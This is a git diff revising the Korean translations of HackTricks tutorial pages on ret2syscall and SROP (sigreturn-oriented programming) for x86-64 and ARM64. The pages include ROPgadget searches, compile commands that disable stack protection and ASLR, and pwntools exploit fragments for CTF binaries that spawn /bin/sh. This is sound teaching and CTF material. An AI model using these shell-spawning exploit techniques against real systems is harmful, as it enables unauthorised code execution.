+* `rsi: 0, 전달된 인수 없음 지정`
+* `rdx: 0, 전달된 환경 변수 없음 지정`
+
+따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 작성한 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 인식해야 함). 이를 위해, 알려진 영역에 `/bin/sh`를 작성할 수 있는 가젯이 필요합니다.
+
+{% hint style="success" %}
+또 다른 흥미로운 시스템 호출은 **`mprotect`**로, 이는 공격자가 **메모리의 페이지 권한을 수정할 수 있게 해줍니다**. 이는 [**ret2shellcode**](../../stack-overflow/stack-shellcode/)와 결합될 수 있습니다.
+{% endhint %}
+
+## Register gadgets
+
+**이 레지스터들을 제어하는 방법**을 찾는 것부터 시작합시다:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@@ -41,13 +42,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
-이 주소들을 사용하면 **스택에 내용을 작성하고 레지스터로 로드**할 수 있습니다.
+이 주소들을 사용하여 **스택의 내용을 작성하고 레지스터에 로드할 수 있습니다**.
-## 문자열 작성
+## 문자열 쓰기
### 쓰기 가능한 메모리
-먼저 메모리에서 쓰기 가능한 위치를 찾아야 합니다.
+먼저 메모리에서 쓰기 가능한 장소를 찾아야 합니다.
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@@ -56,16 +57,16 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
-### 메모리에 문자열 작성
+### 메모리에 문자열 쓰기
-그런 다음이 주소에 임의의 내용을 작성하는 방법을 찾아야합니다.
+그런 다음 이 주소에 임의의 내용을 쓸 수 있는 방법을 찾아야 합니다.
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### ROP 체인 자동화
-다음 명령어는 쓰기-무엇을-어디에 가젯과 시스콜 명령어가 있는 정적 이진 파일에서 완전한 `sys_execve` ROP 체인을 생성합니다:
+다음 명령은 쓰기-무엇-어디에 가젯과 시스템 호출 명령이 있을 때 정적 바이너리를 기반으로 전체 `sys_execve` ROP 체인을 생성합니다:
```bash
ROPgadget --binary vuln --ropchain
```
@@ -107,13 +108,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
-## 부족한 가젯
+## Gadgets 부족
-만약 메모리에 `/bin/sh`를 작성할 가젯이 **부족한 경우**, 스택에서 **모든 레지스터 값(포함하여 RIP 및 매개변수 레지스터)을 제어하기 위해 SROP 기술을 사용**할 수 있습니다:
+만약 **가젯이 부족하다면**, 예를 들어 메모리에 `/bin/sh`를 쓰기 위해, 스택에서 모든 레지스터 값(RIP 및 파라미터 레지스터 포함)을 제어하기 위해 **SROP 기법을 사용할 수 있습니다**:
{% content-ref url="../srop-sigreturn-oriented-programming/" %}
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
{% endcontent-ref %}
+
+## 익스플로잇 예시
```python
from pwn import *
@@ -180,11 +183,26 @@ target.sendline(payload)
target.interactive()
```
-## 다른 예제 및 참고 자료
+## 다른 예제 및 참고자료
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
-* 64 비트, PIE 없음, nx, `execve`를 호출하고 거기로 이동하기 위해 메모리에 ROP를 작성합니다.
+* 64비트, PIE 없음, nx, 메모리에 `execve`를 호출하고 그곳으로 점프하는 ROP를 작성합니다.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
-* 64 비트, nx, PIE 없음, `execve`를 호출하고 거기로 이동하기 위해 메모리에 ROP를 작성합니다. 수학 연산을 수행하는 함수를 스택에 쓰기 위해 남용됩니다.
+* 64비트, nx, PIE 없음, 메모리에 `execve`를 호출하고 그곳으로 점프하는 ROP를 작성합니다. 스택에 쓰기 위해 수학 연산을 수행하는 함수를 악용합니다.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
-* 64 비트, PIE 없음, nx, BF 캐너리, `execve`를 호출하고 거기로 이동하기 위해 메모리에 ROP를 작성합니다.
+* 64비트, PIE 없음, nx, BF 카나리, 메모리에 `execve`를 호출하고 그곳으로 점프하는 ROP를 작성합니다.
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+HackTricks 지원하기
+
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+
+
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
index 604de7d57..3375796c9 100644
--- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
@@ -1,26 +1,33 @@
# Ret2syscall - ARM64
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-AWS 해킹을 처음부터 전문가까지 배우세요htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
-[arm64 기본 어셈블리](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)에서 arm64에 대한 소개를 찾을 수 있습니다.
+arm64에 대한 소개는 다음에서 확인하세요:
+
+{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
+[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
+{% endcontent-ref %}
## 코드
-다음 페이지의 예제를 사용할 것입니다:
+우리는 다음 페이지의 예제를 사용할 것입니다:
+{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %}
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
+{% endcontent-ref %}
```c
#include
#include
@@ -39,20 +46,23 @@ vulnerable_function();
return 0;
}
```
-파이(Pie)와 캐너리(Canary) 없이 컴파일하기:
+Compile without pie and canary:
+```markdown
+PIE와 카나리 없이 컴파일:
+```
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
-## 가젯
+## Gadgets
-**syscall**을 호출하기 위해 다음 구성이 필요합니다:
+**syscall** 호출을 준비하기 위해 다음 구성이 필요합니다:
-- `x8: 221 sys_execve 지정`
-- `x0: "/bin/sh"의 포인터 실행할 파일 지정`
-- `x1: 0 전달된 인수 없음 지정`
-- `x2: 0 전달된 환경 변수 없음 지정`
+* `x8: 221 sys_execve 지정`
+* `x0: "/bin/sh"에 대한 포인터, 실행할 파일 지정`
+* `x1: 0, 전달된 인수 없음 지정`
+* `x2: 0, 전달된 환경 변수 없음 지정`
-ROPgadget.py를 사용하여 기계의 libc 라이브러리에서 다음 가젯을 찾을 수 있었습니다:
+ROPgadget.py를 사용하여 머신의 libc 라이브러리에서 다음과 같은 가젯을 찾을 수 있었습니다:
{% code overflow="wrap" %}
```armasm
@@ -73,10 +83,10 @@ svc #0
```
{% endcode %}
-이전 가젯을 사용하여 스택에서 필요한 모든 레지스터를 제어하고 x5를 사용하여 시스템 호출을 호출하기 위해 두 번째 가젯으로 이동할 수 있습니다.
+이전의 가젯을 사용하여 스택에서 필요한 모든 레지스터를 제어하고 x5를 사용하여 두 번째 가젯으로 점프하여 syscall을 호출할 수 있습니다.
{% hint style="success" %}
-libc 라이브러리에서 이 정보를 알면 ret2libc 공격도 수행할 수 있지만, 이 예제에서는 이를 사용하겠습니다.
+libc 라이브러리의 이 정보를 아는 것은 ret2libc 공격을 수행할 수 있게 해주지만, 현재 예제에서는 이를 사용합시다.
{% endhint %}
### Exploit
@@ -128,16 +138,17 @@ p.sendline(payload)
p.interactive()
```
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)와 함께 제로부터 영웅이 되는 AWS 해킹 배우기
+HackTricks 지원하기
-다른 방법으로 HackTricks를 지원하는 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index 4bb0c93b0..29d498918 100644
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -1,38 +1,39 @@
-# SROP - 시그리턴 지향 프로그래밍
+# SROP - Sigreturn-Oriented Programming
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가로 배우세요!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-## 기본 정보
-
-**`Sigreturn`**은 주로 **시그널 핸들러**가 실행을 완료한 후 정리하는 데 사용되는 특수한 **시스템 호출**입니다. 시그널은 운영 체제가 프로그램에 보내는 중단으로, 종종 예외 상황이 발생했음을 나타냅니다. 프로그램이 시그널을 수신하면 현재 작업을 일시 중지하고 시그널을 처리하기 위해 설계된 **시그널 핸들러**라는 특수 함수를 사용합니다.
-
-시그널 핸들러가 완료되면 프로그램은 아무 일도 일어나지 않은 것처럼 **이전 상태로 복귀**해야 합니다. 이때 **`sigreturn`**이 필요합니다. 이는 프로그램이 **시그널 핸들러에서 반환**하고 시그널 핸들러에서 사용된 **스택 프레임**(함수 호출 및 로컬 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
-
-흥미로운 점은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: **CPU의 모든 레지스터 값을 스택에 저장**합니다. 시그널이 더 이상 차단되지 않으면 **`sigreturn`이 이러한 값을 스택에서 팝**하여 CPU의 레지스터를 효과적으로 시그널 처리 전의 상태로 재설정합니다. 이는 현재 스택의 맨 위를 가리키는 스택 포인터 레지스터(RSP)를 포함합니다.
-
-{% hint style="danger" %}
-ROP 체인에서 **`sigreturn`** 시스템 호출을 호출하고 **스택**에 로드하려는 레지스터 값을 추가함으로써 모든 레지스터 값을 **제어**하고 따라서 예를 들어 `/bin/sh`를 사용하여 `execve` 시스템 호출을 호출할 수 있습니다.
{% endhint %}
-이는 다른 Ret2syscall을 호출할 때 매개변수를 제어하기가 훨씬 쉬운 **Ret2syscall 유형**일 것임을 유의하세요:
+## Basic Information
+
+**`Sigreturn`**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 **syscall**입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, **신호 처리기**라는 신호를 처리하기 위해 설계된 특별한 함수로 신호를 처리하기 위해 현재 작업을 일시 중지합니다.
+
+신호 처리기가 끝난 후, 프로그램은 아무 일도 없었던 것처럼 **이전 상태로 복귀해야** 합니다. 여기서 **`sigreturn`**이 작용합니다. 이는 프로그램이 **신호 처리기에서 반환**하고 신호 처리기에 의해 사용된 스택 프레임(함수 호출 및 지역 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
+
+흥미로운 점은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: 이는 **모든 CPU의 레지스터 값을 스택에 저장**함으로써 이루어집니다. 신호가 더 이상 차단되지 않으면, **`sigreturn`은 이 값을 스택에서 팝**하여 CPU의 레지스터를 신호가 처리되기 전의 상태로 효과적으로 재설정합니다. 여기에는 현재 스택의 맨 위를 가리키는 스택 포인터 레지스터(RSP)가 포함됩니다.
+
+{% hint style="danger" %}
+ROP 체인에서 **`sigreturn`** syscall을 호출하고 **로드하고 싶은 레지스터 값을 추가**하면, 모든 레지스터 값을 **제어**할 수 있으며 따라서 예를 들어 `/bin/sh`로 `execve` syscall을 **호출**할 수 있습니다.
+{% endhint %}
+
+이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 **Ret2syscall의 일종**이라는 점에 유의하십시오:
{% content-ref url="../rop-syscall-execv/" %}
[rop-syscall-execv](../rop-syscall-execv/)
{% endcontent-ref %}
-호기심이 있다면 나중에 값을 복구하기 위해 스택에 저장된 **sigcontext 구조**를 확인하세요(여기서 다이어그램 참조: [**here**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
+궁금하다면, 이는 나중에 값을 복구하기 위해 스택에 저장된 **sigcontext 구조체**입니다 (다이어그램은 [**여기**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)에서 확인할 수 있습니다):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@@ -68,13 +69,13 @@ ROP 체인에서 **`sigreturn`** 시스템 호출을 호출하고 **스택**에
| __reserved | sigmask |
+--------------------+--------------------+
```
-더 나은 설명을 위해 다음도 확인하십시오:
+더 나은 설명을 위해 다음도 확인하세요:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## 예시
-[**여기에서 예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) 여기서 signeturn 호출이 ROP를 통해 구성되었으며 (rxa에 값 `0xf`을 넣음), 그러나 이것이 거기서의 최종 exploit입니다:
+여기에서 ROP를 통해 signeturn 호출이 구성된 [**예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) (rxa에 값 `0xf`를 넣음), 비록 이것이 최종 익스플로잇입니다:
```python
from pwn import *
@@ -101,7 +102,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-이곳에서 [**exploit을 확인하세요**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) 바이너리가 이미 `sigreturn`을 호출하고 있기 때문에 **ROP**를 구축할 필요가 없습니다:
+Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
```python
from pwn import *
@@ -134,31 +135,32 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
-## 다른 예시 및 참고 자료
+## 다른 예제 및 참고자료
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
-* **스택에 쓰고** **`sigreturn`** 시스템 호출을 하는 어셈블리 이진 파일. **sigreturn** 구조체를 통해 **ret2syscall**을 스택에 쓰고 이진 파일 메모리 내부에 있는 플래그를 읽을 수 있습니다.
+* 스택에 **쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며, 바이너리의 메모리 안에 있는 플래그를 읽을 수 있습니다.
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
-* **스택에 쓰고** **`sigreturn`** 시스템 호출을 하는 어셈블리 이진 파일. **sigreturn** 구조체를 통해 **ret2syscall**을 스택에 쓸 수 있습니다(이진 파일에는 `/bin/sh` 문자열이 포함되어 있음).
+* 스택에 **쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며 (바이너리는 문자열 `/bin/sh`를 포함합니다).
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
-* 64비트, relro 없음, 캐너리 없음, nx, pie 없음. `gets` 함수를 남용하는 간단한 버퍼 오버플로우로 **ret2syscall**을 수행하는 가젯이 부족합니다. ROP 체인은 다시 gets를 호출하여 `.bss`에 `/bin/sh`를 쓰고, **`alarm`** 함수를 남용하여 eax를 `0xf`로 설정하여 **SROP**을 호출하고 셸을 실행합니다.
+* 64비트, no relro, no canary, nx, no pie. 가젯이 부족한 `gets` 함수를 이용한 간단한 버퍼 오버플로우로 [**ret2syscall**](../rop-syscall-execv/)을 수행합니다. ROP 체인은 `/bin/sh`를 `.bss`에 쓰고, 다시 `gets`를 호출하여 **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하여 **SROP**를 호출하고 셸을 실행합니다.
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
-* 64비트 어셈블리 프로그램, relro 없음, 캐너리 없음, nx, pie 없음. 흐름은 스택에 쓰고 여러 레지스터를 제어하고 시스템 호출을 하고 `exit`를 호출합니다. 선택된 시스템 호출은 `sigreturn`이며 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하고 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간으로 설정합니다. 프로그램은 ESP를 다시 읽어들이지만 이 경우 ESP는 다음 명령어를 가리키므로 셸코드를 전달하면 다음 명령어로 쓰여 실행됩니다.
+* 64비트 어셈블리 프로그램, no relro, no canary, nx, no pie. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후 `exit`를 호출할 수 있습니다. 선택된 시스템 호출은 `sigreturn`으로, 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하도록 이동시켜 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정합니다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키므로 셸코드를 전달하면 다음 명령어로 작성되고 실행됩니다.
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
-* SROP은 셸코드가 배치된 위치에 실행 권한(memprotect)을 부여하는 데 사용됩니다.
+* SROP는 셸코드가 배치된 위치에 실행 권한 (memprotect)을 부여하는 데 사용됩니다.
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가로 배우세요
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
-* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
index 3bc77da69..eba71978d 100644
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
@@ -1,22 +1,23 @@
# SROP - ARM64
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-제로부터 영웅이 될 때까지 AWS 해킹을 배우세요htARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-다른 방법으로 HackTricks를 지원하는 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Pwntools 예제
-이 예제는 취약한 이진 파일을 생성하고 이를 악용하는 것입니다. 이 바이너리는 **스택으로 읽고** 그런 다음 **`sigreturn`**을 호출합니다:
+이 예제는 취약한 바이너리를 생성하고 이를 악용하는 것입니다. 바이너리는 **스택에 읽어들인 후** **`sigreturn`**을 호출합니다:
```python
from pwn import *
@@ -79,14 +80,14 @@ do_stuff(2);
return 0;
}
```
-컴파일하려면 다음을 사용하십시오:
+다음과 같이 컴파일하세요:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Exploit
-해당 exploit은 bof를 악용하여 **`sigreturn`** 호출 지점으로 돌아가고, `/bin/sh`를 가리키는 포인터를 사용하여 **`execve`**를 호출하기 위해 스택을 준비합니다.
+이 익스플로잇은 bof를 악용하여 **`sigreturn`** 호출로 돌아가고 스택을 준비하여 **`execve`**를 `/bin/sh`에 대한 포인터와 함께 호출합니다.
```python
from pwn import *
@@ -115,7 +116,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-## 시그리턴 없이 bof 예제
+## bof 예제 (sigreturn 없이)
### 코드
```c
